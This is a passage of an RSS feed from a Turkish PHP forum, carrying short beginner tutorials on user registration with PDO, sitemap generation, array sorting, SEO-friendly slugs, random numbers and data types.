</span><span style="color: #0000BB">        </span><span style="color: #FF8000">//if sent values are empty<br />
</span><span style="color: #0000BB">        </span><span style="color: #007700">if(empty(</span><span style="color: #0000BB">&#36;user_nickname</span><span style="color: #007700">) || empty(</span><span style="color: #0000BB">&#36;user_password</span><span style="color: #007700">)){<br />
</span><span style="color: #0000BB">            </span><span style="color: #007700">echo </span><span style="color: #DD0000">"space"</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">        </span><span style="color: #007700">}else{<br />
</span><span style="color: #0000BB">            </span><span style="color: #FF8000">//if the user name is less than 5 characters long<br />
</span><span style="color: #0000BB">            </span><span style="color: #007700">if(</span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;user_nickname</span><span style="color: #007700">) &lt; </span><span style="color: #0000BB">5</span><span style="color: #007700">){<br />
</span><span style="color: #0000BB">                </span><span style="color: #007700">echo </span><span style="color: #DD0000">"min_five_username"</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">            </span><span style="color: #007700">}else{<br />
</span><span style="color: #0000BB">                </span><span style="color: #FF8000">//if the password is less than 5 characters long<br />
</span><span style="color: #0000BB">                </span><span style="color: #007700">if(</span><span style="color: #0000BB">strlen</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;user_password</span><span style="color: #007700">) &lt; </span><span style="color: #0000BB">5</span><span style="color: #007700">){<br />
</span><span style="color: #0000BB">                    </span><span style="color: #007700">echo </span><span style="color: #DD0000">"min_five_password"</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">                </span><span style="color: #007700">}else{<br />
</span><span style="color: #0000BB">                    &#36;user_password </span><span style="color: #007700">= </span><span style="color: #0000BB">sha1</span><span style="color: #007700">(</span><span style="color: #0000BB">strip_tags</span><span style="color: #007700">(</span><span style="color: #0000BB">trim</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'user_password'</span><span style="color: #007700">])));<br />
</span><span style="color: #0000BB">                    </span><span style="color: #FF8000">//if the e-mail address is equal to the supported service extension<br />
</span><span style="color: #0000BB">                    </span><span style="color: #FF8000">//[https://github.com/oxcakmak/PHP-Email-Validate-Validator]<br />
</span><span style="color: #0000BB">                    </span><span style="color: #007700">if(</span><span style="color: #0000BB">validateMail</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;user_email</span><span style="color: #007700">, </span><span style="color: #0000BB">&#36;supportedMails</span><span style="color: #007700">)){<br />
</span><span style="color: #0000BB">                        &#36;registerCheckUserExists </span><span style="color: #007700">= </span><span style="color: #0000BB">&#36;dbh</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">prepare</span><span style="color: #007700">(</span><span style="color: #DD0000">"SELECT * FROM user WHERE user_nickname = :user_nickname"</span><span style="color: #007700">);<br />
</span><span style="color: #0000BB">                        &#36;registerCheckUserExists</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">execute</span><span style="color: #007700">(array(<br />
</span><span style="color: #0000BB">                            </span><span style="color: #DD0000">":user_nickname" </span><span style="color: #007700">=&gt; </span><span style="color: #0000BB">&#36;user_nickname<br />
                        </span><span style="color: #007700">));<br />
</span><span style="color: #0000BB">                        &#36;registerCheckUserExistsRow </span><span style="color: #007700">= </span><span style="color: #0000BB">&#36;registerCheckUserExists</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">fetch</span><span style="color: #007700">(</span><span style="color: #0000BB">PDO</span><span style="color: #007700">::</span><span style="color: #0000BB">FETCH_ASSOC</span><span style="color: #007700">);<br />
</span><span style="color: #0000BB">                        </span><span style="color: #FF8000">//if the user is present in the system<br />
</span><span style="color: #0000BB">                        </span><span style="color: #007700">if(</span><span style="color: #0000BB">&#36;registerCheckUserExists</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">rowCount</span><span style="color: #007700">() &gt; </span><span style="color: #0000BB">0</span><span style="color: #007700">){<br />
</span><span style="color: #0000BB">                            </span><span style="color: #007700">echo </span><span style="color: #DD0000">"exists"</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">                        </span><span style="color: #007700">}else{<br />
</span><span style="color: #0000BB">                            </span><span style="color: #FF8000">//if the user is not present in the system<br />
</span><span style="color: #0000BB">                            &#36;insertRegisterUser </span><span style="color: #007700">= </span><span style="color: #0000BB">&#36;dbh</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">prepare</span><span style="color: #007700">(</span><span style="color: #DD0000">"INSERT INTO user (user_nickname, user_email, user_password, user_address, user_date, user_key) VALUES (:user_nickname, :user_email, :user_password, :user_address, :user_date, :user_key)"</span><span style="color: #007700">);<br />
</span><span style="color: #0000BB">                            &#36;insertRegisterUser</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">execute</span><span style="color: #007700">(array(<br />
</span><span style="color: #0000BB">                                </span><span style="color: #DD0000">":user_nickname" </span><span style="color: #007700">=&gt; </span><span style="color: #0000BB">&#36;user_nickname</span><span style="color: #007700">, <br />
</span><span style="color: #0000BB">                                </span><span style="color: #DD0000">":user_email" </span><span style="color: #007700">=&gt; </span><span style="color: #0000BB">&#36;user_email</span><span style="color: #007700">, <br />
</span><span style="color: #0000BB">                                </span><span style="color: #DD0000">":user_password" </span><span style="color: #007700">=&gt; </span><span style="color: #0000BB">&#36;user_password</span><span style="color: #007700">, <br />
</span><span style="color: #0000BB">                                </span><span style="color: #DD0000">":user_address" </span><span style="color: #007700">=&gt; </span><span style="color: #0000BB">&#36;newAddress</span><span style="color: #007700">, <br />
</span><span style="color: #0000BB">                                </span><span style="color: #DD0000">":user_date" </span><span style="color: #007700">=&gt; </span><span style="color: #0000BB">&#36;newDate</span><span style="color: #007700">,<br />
</span><span style="color: #0000BB">                                </span><span style="color: #DD0000">":user_key" </span><span style="color: #007700">=&gt; </span><span style="color: #0000BB">bin2hex</span><span style="color: #007700">(</span><span style="color: #0000BB">openssl_random_pseudo_bytes</span><span style="color: #007700">(</span><span style="color: #0000BB">16</span><span style="color: #007700">))<br />
</span><span style="color: #0000BB">                            </span><span style="color: #007700">));<br />
</span><span style="color: #0000BB">                            </span><span style="color: #007700">echo </span><span style="color: #DD0000">"success"</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">                        </span><span style="color: #007700">}<br />
</span><span style="color: #0000BB">                    </span><span style="color: #007700">}else{<br />
</span><span style="color: #0000BB">                        </span><span style="color: #007700">echo </span><span style="color: #DD0000">"unsupported_mail_service"</span><span style="color: #007700">;<br />
</span><span style="color: #0000BB">                    </span><span style="color: #007700">}<br />
</span><span style="color: #0000BB">                </span><span style="color: #007700">}<br />
</span><span style="color: #0000BB">            </span><span style="color: #007700">}<br />
</span><span style="color: #0000BB">        </span><span style="color: #007700">}<br />
</span><span style="color: #0000BB">    </span><span style="color: #007700">} <br />
</span><span style="color: #0000BB"></code></div></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PHP Sitemap Oluşturucu]]></title>
			<link>https://www.forumteams.com/konu-php-sitemap-olusturucu.html</link>
			<pubDate>Fri, 03 Dec 2021 16:10:31 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.forumteams.com/member.php?action=profile&uid=253">uzman</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.forumteams.com/konu-php-sitemap-olusturucu.html</guid>
			<description><![CDATA[SQL Kodlarını kendinize göre düzenleyiniz. Kodlar:<br />
<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>require_once('config.ph');<br />
header('Content-Type: text/xml');<br />
echo '<br />
&lt;?xml version="1.0" encoding="UTF-8"?&gt;<br />
  &lt;urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"&gt;<br />
';<br />
foreach(&#36;dbh-&gt;query("SELECT * FROM news WHERE news_status = 1 ORDER BY news_title ASC") as &#36;dataRow){<br />
echo '<br />
&lt;url&gt;&lt;loc&gt;https://yoursite.com/post/'.&#36;dataRow['news_seo'].'&lt;/loc&gt;&lt;/url&gt;<br />
&lt;changefreq&gt;&lt;/changefreq&gt;<br />
&lt;lastmod&gt;'.date("Y-m-d", strtotime(&#36;dataRow['news_date'])).'&lt;/lastmod&gt;<br />
&lt;changefreq&gt;weekly&lt;/changefreq&gt;<br />
&lt;priority&gt;0.5&lt;/priority&gt;';<br />
}<br />
echo '&lt;/urlset&gt;';</code></div></div><br />
HTAccess dosyasına aşağıdaki kodu ekleyiniz:<br />
<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>RewriteRule ^sitemap.xml&#36; sitemap.php [L, NC, QSA]</code></div></div>]]></description>
			<content:encoded><![CDATA[SQL Kodlarını kendinize göre düzenleyiniz. Kodlar:<br />
<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>require_once('config.ph');<br />
header('Content-Type: text/xml');<br />
echo '<br />
&lt;?xml version="1.0" encoding="UTF-8"?&gt;<br />
  &lt;urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"&gt;<br />
';<br />
foreach(&#36;dbh-&gt;query("SELECT * FROM news WHERE news_status = 1 ORDER BY news_title ASC") as &#36;dataRow){<br />
echo '<br />
&lt;url&gt;&lt;loc&gt;https://yoursite.com/post/'.&#36;dataRow['news_seo'].'&lt;/loc&gt;&lt;/url&gt;<br />
&lt;changefreq&gt;&lt;/changefreq&gt;<br />
&lt;lastmod&gt;'.date("Y-m-d", strtotime(&#36;dataRow['news_date'])).'&lt;/lastmod&gt;<br />
&lt;changefreq&gt;weekly&lt;/changefreq&gt;<br />
&lt;priority&gt;0.5&lt;/priority&gt;';<br />
}<br />
echo '&lt;/urlset&gt;';</code></div></div><br />
HTAccess dosyasına aşağıdaki kodu ekleyiniz:<br />
<br />
<div class="codeblock"><div class="title">Kod:</div><div class="body" dir="ltr"><code>RewriteRule ^sitemap.xml&#36; sitemap.php [L, NC, QSA]</code></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PhpFormGenerator Sistemi Nedir?]]></title>
			<link>https://www.forumteams.com/konu-phpformgenerator-sistemi-nedir.html</link>
			<pubDate>Thu, 28 Oct 2021 15:44:59 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.forumteams.com/member.php?action=profile&uid=253">uzman</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.forumteams.com/konu-phpformgenerator-sistemi-nedir.html</guid>
			<description><![CDATA[<span style="font-weight: bold;" class="mycode_b">PhpFormGenerator Sistemi Nedir?</span><br />
<br />
PhpFormGenerator, açık kaynaklı bir HTML form üreten uygulamadır.<br />
<br />
phpFormGenerator, güvenilir ve verimli web formları oluşturmak için kullanımı kolay bir araçtır. Hiçbir şekilde programlama yapmak gerekmez. Birlikte verilen sihirbazı takip edin ve sonunda tamamen işlevsel bir web formuna sahip olacaksınız!<br />
<br />
<br />
<a href="https://www.forumteams.com/yonlendir.php?url=https://www.forumteams.com/yonlendir.php?url=http://phpformgen.sourceforge.net/" target="_blank" rel="noopener" class="mycode_url">Resmi Web Sitesi</a>]]></description>
			<content:encoded><![CDATA[<span style="font-weight: bold;" class="mycode_b">PhpFormGenerator Sistemi Nedir?</span><br />
<br />
PhpFormGenerator, açık kaynaklı bir HTML form üreten uygulamadır.<br />
<br />
phpFormGenerator, güvenilir ve verimli web formları oluşturmak için kullanımı kolay bir araçtır. Hiçbir şekilde programlama yapmak gerekmez. Birlikte verilen sihirbazı takip edin ve sonunda tamamen işlevsel bir web formuna sahip olacaksınız!<br />
<br />
<br />
<a href="https://www.forumteams.com/yonlendir.php?url=https://www.forumteams.com/yonlendir.php?url=http://phpformgen.sourceforge.net/" target="_blank" rel="noopener" class="mycode_url">Resmi Web Sitesi</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PHP Arrayı Sıralama]]></title>
			<link>https://www.forumteams.com/konu-php-arrayi-siralama.html</link>
			<pubDate>Sat, 09 Oct 2021 08:41:18 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.forumteams.com/member.php?action=profile&uid=253">uzman</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.forumteams.com/konu-php-arrayi-siralama.html</guid>
			<description><![CDATA[Merhaba,<br />
<br />
Php ile arrayı sıralama.<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&lt;?php<br />
<br />
&#36;dizi</span><span style="color: #007700">=array(</span><span style="color: #0000BB">3</span><span style="color: #007700">, </span><span style="color: #0000BB">8</span><span style="color: #007700">, -</span><span style="color: #0000BB">5</span><span style="color: #007700">, </span><span style="color: #0000BB">11</span><span style="color: #007700">, </span><span style="color: #0000BB">7</span><span style="color: #007700">, </span><span style="color: #0000BB">29</span><span style="color: #007700">, -</span><span style="color: #0000BB">4</span><span style="color: #007700">,-</span><span style="color: #0000BB">8</span><span style="color: #007700">,</span><span style="color: #0000BB">200</span><span style="color: #007700">);<br />
<br />
</span><span style="color: #0000BB">sort</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;dizi</span><span style="color: #007700">);<br />
<br />
</span><span style="color: #FF8000">//print_r(&#36;dizi);<br />
<br />
</span><span style="color: #007700">foreach (</span><span style="color: #0000BB">&#36;dizi </span><span style="color: #007700">as </span><span style="color: #0000BB">&#36;sayi</span><span style="color: #007700">)<br />
<br />
</span><span style="color: #0000BB">      </span><span style="color: #007700">echo </span><span style="color: #0000BB">&#36;sayi</span><span style="color: #007700">.</span><span style="color: #DD0000">"&lt;br&gt;"</span><span style="color: #007700">; <br />
</span><span style="color: #0000BB"></code></div></div></div>]]></description>
			<content:encoded><![CDATA[Merhaba,<br />
<br />
Php ile arrayı sıralama.<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&lt;?php<br />
<br />
&#36;dizi</span><span style="color: #007700">=array(</span><span style="color: #0000BB">3</span><span style="color: #007700">, </span><span style="color: #0000BB">8</span><span style="color: #007700">, -</span><span style="color: #0000BB">5</span><span style="color: #007700">, </span><span style="color: #0000BB">11</span><span style="color: #007700">, </span><span style="color: #0000BB">7</span><span style="color: #007700">, </span><span style="color: #0000BB">29</span><span style="color: #007700">, -</span><span style="color: #0000BB">4</span><span style="color: #007700">,-</span><span style="color: #0000BB">8</span><span style="color: #007700">,</span><span style="color: #0000BB">200</span><span style="color: #007700">);<br />
<br />
</span><span style="color: #0000BB">sort</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;dizi</span><span style="color: #007700">);<br />
<br />
</span><span style="color: #FF8000">//print_r(&#36;dizi);<br />
<br />
</span><span style="color: #007700">foreach (</span><span style="color: #0000BB">&#36;dizi </span><span style="color: #007700">as </span><span style="color: #0000BB">&#36;sayi</span><span style="color: #007700">)<br />
<br />
</span><span style="color: #0000BB">      </span><span style="color: #007700">echo </span><span style="color: #0000BB">&#36;sayi</span><span style="color: #007700">.</span><span style="color: #DD0000">"&lt;br&gt;"</span><span style="color: #007700">; <br />
</span><span style="color: #0000BB"></code></div></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PHP Seo (Sef) Link Yapımı]]></title>
			<link>https://www.forumteams.com/konu-php-seo-sef-link-yapimi.html</link>
			<pubDate>Sat, 09 Oct 2021 08:40:12 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.forumteams.com/member.php?action=profile&uid=253">uzman</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.forumteams.com/konu-php-seo-sef-link-yapimi.html</guid>
			<description><![CDATA[Merhaba,<br />
<br />
Bu fonksiyonu kullanarak sitenizi googleda daha üst sıralara çıkartabilirsiniz.<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&lt;?php<br />
<br />
</span><span style="color: #FF8000">// seo link fonksiyonu<br />
</span><span style="color: #007700">function </span><span style="color: #0000BB">SeoYap</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;baslik</span><span style="color: #007700">){<br />
</span><span style="color: #0000BB">&#36;onceki </span><span style="color: #007700">= array(</span><span style="color: #DD0000">'Ç'</span><span style="color: #007700">, </span><span style="color: #DD0000">'Ş'</span><span style="color: #007700">, </span><span style="color: #DD0000">'Ğ'</span><span style="color: #007700">, </span><span style="color: #DD0000">'Ü'</span><span style="color: #007700">, </span><span style="color: #DD0000">'İ'</span><span style="color: #007700">, </span><span style="color: #DD0000">'Ö'</span><span style="color: #007700">, </span><span style="color: #DD0000">'ç'</span><span style="color: #007700">, </span><span style="color: #DD0000">'ş'</span><span style="color: #007700">, </span><span style="color: #DD0000">'ğ'</span><span style="color: #007700">, </span><span style="color: #DD0000">'ü'</span><span style="color: #007700">, </span><span style="color: #DD0000">'ö'</span><span style="color: #007700">, </span><span style="color: #DD0000">'ı'</span><span style="color: #007700">, </span><span style="color: #DD0000">' '</span><span style="color: #007700">, </span><span style="color: #DD0000">'.'</span><span style="color: #007700">);<br />
</span><span style="color: #0000BB">&#36;sonraki </span><span style="color: #007700">= array(</span><span style="color: #DD0000">'c'</span><span style="color: #007700">, </span><span style="color: #DD0000">'s'</span><span style="color: #007700">, </span><span style="color: #DD0000">'g'</span><span style="color: #007700">, </span><span style="color: #DD0000">'u'</span><span style="color: #007700">, </span><span style="color: #DD0000">'i'</span><span style="color: #007700">, </span><span style="color: #DD0000">'o'</span><span style="color: #007700">, </span><span style="color: #DD0000">'c'</span><span style="color: #007700">, </span><span style="color: #DD0000">'s'</span><span style="color: #007700">, </span><span style="color: #DD0000">'g'</span><span style="color: #007700">, </span><span style="color: #DD0000">'u'</span><span style="color: #007700">, </span><span style="color: #DD0000">'o'</span><span style="color: #007700">, </span><span style="color: #DD0000">'i'</span><span style="color: #007700">, </span><span style="color: #DD0000">'-'</span><span style="color: #007700">, </span><span style="color: #DD0000">''</span><span style="color: #007700">);<br />
</span><span style="color: #0000BB">&#36;yeni </span><span style="color: #007700">= </span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;onceki</span><span style="color: #007700">, </span><span style="color: #0000BB">&#36;sonraki</span><span style="color: #007700">, </span><span style="color: #0000BB">&#36;baslik</span><span style="color: #007700">);<br />
</span><span style="color: #0000BB">&#36;yeni </span><span style="color: #007700">= </span><span style="color: #0000BB">preg_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"@[^A-Za-z0-9&#092;.&#092;-_]@i"</span><span style="color: #007700">, </span><span style="color: #DD0000">''</span><span style="color: #007700">, </span><span style="color: #0000BB">&#36;yeni</span><span style="color: #007700">);<br />
</span><span style="color: #0000BB">&#36;yeni </span><span style="color: #007700">= </span><span style="color: #0000BB">strtolower</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;yeni</span><span style="color: #007700">);<br />
return </span><span style="color: #0000BB">&#36;yeni</span><span style="color: #007700">;<br />
}<br />
<br />
</span><span style="color: #0000BB">&#36;baslik </span><span style="color: #007700">= </span><span style="color: #DD0000">"Php ile Seo Link Fonksiyonu Yapımı"</span><span style="color: #007700">; </span><span style="color: #FF8000">// seosuz başlık<br />
<br />
</span><span style="color: #007700">echo </span><span style="color: #DD0000">"Seosuz hali: &lt;strong&gt;"</span><span style="color: #007700">.</span><span style="color: #0000BB">&#36;baslik</span><span style="color: #007700">.</span><span style="color: #DD0000">"&lt;/strong&gt;"</span><span style="color: #007700">;<br />
echo </span><span style="color: #DD0000">"&#092;n <br />
<br />
Seolu hali: &lt;strong&gt;"</span><span style="color: #007700">.</span><span style="color: #0000BB">SeoYap</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;baslik</span><span style="color: #007700">).</span><span style="color: #DD0000">"&lt;/strong&gt;"</span><span style="color: #007700">; <br />
</span><span style="color: #0000BB"></code></div></div></div>]]></description>
			<content:encoded><![CDATA[Merhaba,<br />
<br />
Bu fonksiyonu kullanarak sitenizi googleda daha üst sıralara çıkartabilirsiniz.<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&lt;?php<br />
<br />
</span><span style="color: #FF8000">// seo link fonksiyonu<br />
</span><span style="color: #007700">function </span><span style="color: #0000BB">SeoYap</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;baslik</span><span style="color: #007700">){<br />
</span><span style="color: #0000BB">&#36;onceki </span><span style="color: #007700">= array(</span><span style="color: #DD0000">'Ç'</span><span style="color: #007700">, </span><span style="color: #DD0000">'Ş'</span><span style="color: #007700">, </span><span style="color: #DD0000">'Ğ'</span><span style="color: #007700">, </span><span style="color: #DD0000">'Ü'</span><span style="color: #007700">, </span><span style="color: #DD0000">'İ'</span><span style="color: #007700">, </span><span style="color: #DD0000">'Ö'</span><span style="color: #007700">, </span><span style="color: #DD0000">'ç'</span><span style="color: #007700">, </span><span style="color: #DD0000">'ş'</span><span style="color: #007700">, </span><span style="color: #DD0000">'ğ'</span><span style="color: #007700">, </span><span style="color: #DD0000">'ü'</span><span style="color: #007700">, </span><span style="color: #DD0000">'ö'</span><span style="color: #007700">, </span><span style="color: #DD0000">'ı'</span><span style="color: #007700">, </span><span style="color: #DD0000">' '</span><span style="color: #007700">, </span><span style="color: #DD0000">'.'</span><span style="color: #007700">);<br />
</span><span style="color: #0000BB">&#36;sonraki </span><span style="color: #007700">= array(</span><span style="color: #DD0000">'c'</span><span style="color: #007700">, </span><span style="color: #DD0000">'s'</span><span style="color: #007700">, </span><span style="color: #DD0000">'g'</span><span style="color: #007700">, </span><span style="color: #DD0000">'u'</span><span style="color: #007700">, </span><span style="color: #DD0000">'i'</span><span style="color: #007700">, </span><span style="color: #DD0000">'o'</span><span style="color: #007700">, </span><span style="color: #DD0000">'c'</span><span style="color: #007700">, </span><span style="color: #DD0000">'s'</span><span style="color: #007700">, </span><span style="color: #DD0000">'g'</span><span style="color: #007700">, </span><span style="color: #DD0000">'u'</span><span style="color: #007700">, </span><span style="color: #DD0000">'o'</span><span style="color: #007700">, </span><span style="color: #DD0000">'i'</span><span style="color: #007700">, </span><span style="color: #DD0000">'-'</span><span style="color: #007700">, </span><span style="color: #DD0000">''</span><span style="color: #007700">);<br />
</span><span style="color: #0000BB">&#36;yeni </span><span style="color: #007700">= </span><span style="color: #0000BB">str_replace</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;onceki</span><span style="color: #007700">, </span><span style="color: #0000BB">&#36;sonraki</span><span style="color: #007700">, </span><span style="color: #0000BB">&#36;baslik</span><span style="color: #007700">);<br />
</span><span style="color: #0000BB">&#36;yeni </span><span style="color: #007700">= </span><span style="color: #0000BB">preg_replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"@[^A-Za-z0-9&#092;.&#092;-_]@i"</span><span style="color: #007700">, </span><span style="color: #DD0000">''</span><span style="color: #007700">, </span><span style="color: #0000BB">&#36;yeni</span><span style="color: #007700">);<br />
</span><span style="color: #0000BB">&#36;yeni </span><span style="color: #007700">= </span><span style="color: #0000BB">strtolower</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;yeni</span><span style="color: #007700">);<br />
return </span><span style="color: #0000BB">&#36;yeni</span><span style="color: #007700">;<br />
}<br />
<br />
</span><span style="color: #0000BB">&#36;baslik </span><span style="color: #007700">= </span><span style="color: #DD0000">"Php ile Seo Link Fonksiyonu Yapımı"</span><span style="color: #007700">; </span><span style="color: #FF8000">// seosuz başlık<br />
<br />
</span><span style="color: #007700">echo </span><span style="color: #DD0000">"Seosuz hali: &lt;strong&gt;"</span><span style="color: #007700">.</span><span style="color: #0000BB">&#36;baslik</span><span style="color: #007700">.</span><span style="color: #DD0000">"&lt;/strong&gt;"</span><span style="color: #007700">;<br />
echo </span><span style="color: #DD0000">"&#092;n <br />
<br />
Seolu hali: &lt;strong&gt;"</span><span style="color: #007700">.</span><span style="color: #0000BB">SeoYap</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;baslik</span><span style="color: #007700">).</span><span style="color: #DD0000">"&lt;/strong&gt;"</span><span style="color: #007700">; <br />
</span><span style="color: #0000BB"></code></div></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PHP Rasgele Sayı Oluşturma]]></title>
			<link>https://www.forumteams.com/konu-php-rasgele-sayi-olusturma.html</link>
			<pubDate>Sat, 09 Oct 2021 08:38:44 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.forumteams.com/member.php?action=profile&uid=253">uzman</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.forumteams.com/konu-php-rasgele-sayi-olusturma.html</guid>
			<description><![CDATA[Merhaba,<br />
<br />
Rasgele sayı oluşturmak için bir fonsksiyon kullanacağız.  <br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&#36;sayı </span><span style="color: #007700">= </span><span style="color: #0000BB">rand</span><span style="color: #007700">(); </span><span style="color: #FF8000">// Belirli bir sınır yok.<br />
<br />
</span><span style="color: #0000BB">&#36;sayı2 </span><span style="color: #007700">= </span><span style="color: #0000BB">rand</span><span style="color: #007700">(</span><span style="color: #0000BB">1</span><span style="color: #007700">,</span><span style="color: #0000BB">1000</span><span style="color: #007700">); </span><span style="color: #FF8000">// Burda ise 1 ile 1000 arasında sayı oluşturmaktadır. <br />
</span><span style="color: #0000BB"></code></div></div></div>]]></description>
			<content:encoded><![CDATA[Merhaba,<br />
<br />
Rasgele sayı oluşturmak için bir fonsksiyon kullanacağız.  <br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&#36;sayı </span><span style="color: #007700">= </span><span style="color: #0000BB">rand</span><span style="color: #007700">(); </span><span style="color: #FF8000">// Belirli bir sınır yok.<br />
<br />
</span><span style="color: #0000BB">&#36;sayı2 </span><span style="color: #007700">= </span><span style="color: #0000BB">rand</span><span style="color: #007700">(</span><span style="color: #0000BB">1</span><span style="color: #007700">,</span><span style="color: #0000BB">1000</span><span style="color: #007700">); </span><span style="color: #FF8000">// Burda ise 1 ile 1000 arasında sayı oluşturmaktadır. <br />
</span><span style="color: #0000BB"></code></div></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[PHP Ile Array Kontrolü]]></title>
			<link>https://www.forumteams.com/konu-php-ile-array-kontrolu.html</link>
			<pubDate>Sat, 09 Oct 2021 08:33:39 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.forumteams.com/member.php?action=profile&uid=253">uzman</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.forumteams.com/konu-php-ile-array-kontrolu.html</guid>
			<description><![CDATA[Merhaba,<br />
<br />
php ile bu kontrolü yapmak için bir fonskiyon bulunmakta ve bu fonksiyon sayesinde çok kolay bir şekilde kontrolü yapabileceğiz.<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&#36;arr </span><span style="color: #007700">= array(</span><span style="color: #DD0000">"forumteams.com"</span><span style="color: #007700">,</span><span style="color: #DD0000">"Uzman "</span><span style="color: #007700">);<br />
<br />
if (</span><span style="color: #0000BB">is_array</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;arr</span><span style="color: #007700">)):<br />
</span><span style="color: #0000BB">   </span><span style="color: #007700">echo </span><span style="color: #DD0000">"bu verinin türü array"</span><span style="color: #007700">;<br />
else:<br />
</span><span style="color: #0000BB">   </span><span style="color: #007700">echo </span><span style="color: #DD0000">"bu verinin türü array değil."<br />
</span><span style="color: #007700">endif; <br />
</span><span style="color: #0000BB"></code></div></div></div>]]></description>
			<content:encoded><![CDATA[Merhaba,<br />
<br />
php ile bu kontrolü yapmak için bir fonskiyon bulunmakta ve bu fonksiyon sayesinde çok kolay bir şekilde kontrolü yapabileceğiz.<br />
<br />
<div class="codeblock phpcodeblock"><div class="title">PHP Kod:</div><div class="body"><div dir="ltr"><code><span style="color: #0000BB">&#36;arr </span><span style="color: #007700">= array(</span><span style="color: #DD0000">"forumteams.com"</span><span style="color: #007700">,</span><span style="color: #DD0000">"Uzman "</span><span style="color: #007700">);<br />
<br />
if (</span><span style="color: #0000BB">is_array</span><span style="color: #007700">(</span><span style="color: #0000BB">&#36;arr</span><span style="color: #007700">)):<br />
</span><span style="color: #0000BB">   </span><span style="color: #007700">echo </span><span style="color: #DD0000">"bu verinin türü array"</span><span style="color: #007700">;<br />
else:<br />
</span><span style="color: #0000BB">   </span><span style="color: #007700">echo </span><span style="color: #DD0000">"bu verinin türü array değil."<br />
</span><span style="color: #007700">endif; <br />
</span><span style="color: #0000BB"></code></div></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Php Veri Tipleri]]></title>
			<link>https://www.forumteams.com/konu-php-veri-tipleri.html</link>
			<pubDate>Sat, 09 Oct 2021 08:32:00 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://www.forumteams.com/member.php?action=profile&uid=253">uzman</a>]]></dc:creator>
			<guid isPermaLink="false">https://www.forumteams.com/konu-php-veri-tipleri.html</guid>
			<description><![CDATA[<span style="font-weight: bold;" class="mycode_b"><span style="color: #e82a1f;" class="mycode_color">integer</span></span> - Tam Sayılar İçin Kullanılır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #e82a1f;" class="mycode_color">Float (Double)</span></span> - Gerçek Sayılar için kullanılır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #e82a1f;" class="mycode_color">String</span></span> - Karakter katarları için kullanılır.<br />
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #e82a1f;" class="mycode_color">Boolean </span></span>- Mantıksal İfadeler için kullanılır.<br />
<br />
